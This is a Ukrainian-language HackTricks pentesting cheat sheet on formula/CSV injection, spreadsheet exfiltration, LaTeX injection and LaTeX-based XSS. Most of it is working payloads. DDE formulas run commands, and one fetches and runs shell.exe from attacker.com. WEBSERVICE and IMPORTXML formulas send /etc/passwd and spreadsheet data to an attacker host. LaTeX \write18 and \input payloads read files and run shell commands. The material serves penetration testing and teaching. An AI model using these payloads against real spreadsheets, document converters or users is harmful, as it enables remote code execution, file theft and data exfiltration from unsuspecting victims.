hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

15 KiB
Raw Blame History

Formula/CSV/Doc/LaTeX/GhostScript Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Formula Injection

Info

Якщо ваш вхід відображається всередині CSV файлів (або будь-якого іншого файлу, який, ймовірно, буде відкритий в Excel), ви, можливо, зможете вставити формули Excel, які будуть виконані, коли користувач відкриває файл або коли користувач натискає на деяке посилання всередині аркуша Excel.

{% hint style="danger" %} Сьогодні Excel попередить (декілька разів) користувача, коли щось завантажується ззовні Excel, щоб запобігти йому від злочинних дій. Тому необхідно докласти особливих зусиль у соціальному інженерії для фінального payload. {% endhint %}

Wordlist

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Наступний приклад є дуже корисним для ексфільтрації вмісту з фінальної таблиці Excel та для виконання запитів до довільних місць. Але це вимагає, щоб користувач натиснув на посилання (і прийняв попередження).

Наступний приклад був взятий з https://payatu.com/csv-injection-basic-to-exploit

Уявіть, що у системі управління записами студентів сталася витік безпеки, який був використаний через атаку CSV injection. Основна мета зловмисника - скомпрометувати систему, яку використовують вчителі для управління даними студентів. Метод полягає в тому, що зловмисник вводить шкідливий код у додаток, зокрема, вводячи шкідливі формули у поля, призначені для даних студентів. Атака розгортається наступним чином:

  1. Введення шкідливого коду:
  • Зловмисник подає форму даних студента, але включає формулу, яка зазвичай використовується в електронних таблицях (наприклад, =HYPERLINK("<malicious_link>","Click here")).
  • Ця формула призначена для створення гіперпосилання, але вона вказує на шкідливий сервер, контрольований зловмисником.
  1. Експорт скомпрометованих даних:
  • Вчителі, не підозрюючи про компрометацію, використовують функціональність додатка для експорту даних у файл CSV.
  • Файл CSV, коли його відкривають, все ще містить шкідливий код. Цей код з'являється як клікабельне гіперпосилання в електронній таблиці.
  1. Активація атаки:
  • Вчитель натискає на гіперпосилання, вважаючи його легітимною частиною даних студента.
  • Після натискання чутливі дані (можливо, включаючи деталі з електронної таблиці або комп'ютера вчителя) передаються на сервер зловмисника.
  1. Логування даних:
  • Сервер зловмисника отримує та реєструє чутливі дані, надіслані з комп'ютера вчителя.
  • Зловмисник може потім використовувати ці дані для різних шкідливих цілей, ще більше компрометуючи конфіденційність і безпеку студентів та установи.

RCE

Перевірте оригінальний пост для отримання додаткових деталей.

У специфічних конфігураціях або старіших версіях Excel функція, званий Динамічний обмін даними (DDE), може бути використана для виконання довільних команд. Щоб скористатися цим, необхідно активувати наступні налаштування:

  • Перейдіть до Файл → Параметри → Центр управління безпекою → Налаштування Центру управління безпекою → Зовнішній вміст, і активуйте Запуск сервера динамічного обміну даними.

Коли електронна таблиця з шкідливим кодом відкривається (і якщо користувач приймає попередження), код виконується. Наприклад, щоб запустити програму калькулятора, код буде:

=cmd|' /C calc'!xxx

Додаткові команди також можуть бути виконані, такі як завантаження та виконання файлу за допомогою PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Local File Inclusion (LFI) in LibreOffice Calc

LibreOffice Calc може бути використаний для читання локальних файлів та ексфільтрації даних. Ось кілька методів:

  • Читання першого рядка з локального файлу /etc/passwd: ='file:///etc/passwd'#$passwd.A1
  • Ексфільтрація прочитаних даних на сервер, контрольований зловмисником: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Ексфільтрація більше ніж одного рядка: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • DNS ексфільтрація (відправка прочитаних даних як DNS запити на сервер DNS, контрольований зловмисником): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets for Out-of-Band (OOB) Data Exfiltration

Google Sheets пропонує функції, які можуть бути використані для OOB ексфільтрації даних:

  • CONCATENATE: Об'єднує рядки - =CONCATENATE(A2:E2)
  • IMPORTXML: Імпортує дані з структурованих типів даних - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: Імпортує RSS або ATOM стрічки - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: Імпортує дані з HTML таблиць або списків - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: Імпортує діапазон клітинок з іншої таблиці - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE: Вставляє зображення в клітинку - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

LaTeX Injection

Зазвичай сервери, які можна знайти в інтернеті, що перетворюють LaTeX код на PDF, використовують pdflatex.
Ця програма використовує 3 основні атрибути для (не)дозволу виконання команд:

  • --no-shell-escape: Вимкнути конструкцію \write18{command}, навіть якщо вона увімкнена у файлі texmf.cnf.
  • --shell-restricted: Те ж саме, що і --shell-escape, але обмежено до 'безпечного' набору попередньо визначених **команд (**На Ubuntu 16.04 список знаходиться в /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape: Увімкнути конструкцію \write18{command}. Команда може бути будь-якою командою оболонки. Ця конструкція зазвичай заборонена з міркувань безпеки.

Однак є й інші способи виконання команд, тому, щоб уникнути RCE, дуже важливо використовувати --shell-restricted.

Read file

Вам може знадобитися налаштувати ін'єкцію з обгортками, такими як [ або $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Прочитати файл з одного рядка

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Читання файлу з кількома рядками

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Записати файл

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Виконання команд

Вхідні дані команди будуть перенаправлені до stdin, використовуйте тимчасовий файл, щоб їх отримати.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Якщо ви отримаєте будь-яку помилку LaTex, розгляньте можливість використання base64, щоб отримати результат без поганих символів.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

Від @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

Перевірте https://blog.redteam-pentesting.de/2023/ghostscript-overview/

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}